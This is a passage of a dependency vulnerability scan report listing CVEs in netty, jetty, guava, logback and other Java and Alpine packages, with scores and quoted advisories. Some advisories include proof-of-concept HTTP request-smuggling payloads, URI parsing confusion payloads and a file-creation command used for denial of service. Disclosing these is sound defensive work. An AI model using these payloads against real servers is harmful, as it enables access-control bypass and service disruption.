Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.13 (maven) - -pkg:maven/ch.qos.logback/logback-core@1.2.13
-medium 5.9: CVE--2025--11226 Improper Input Validation - - - - - - - - -
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. - -A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. - -
-
- -medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
- -
Description -
- -ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. - -Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. - -A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. - -
-
- -low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. - -The attacks involves the modification of DOCTYPE declaration in  XML configuration files. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
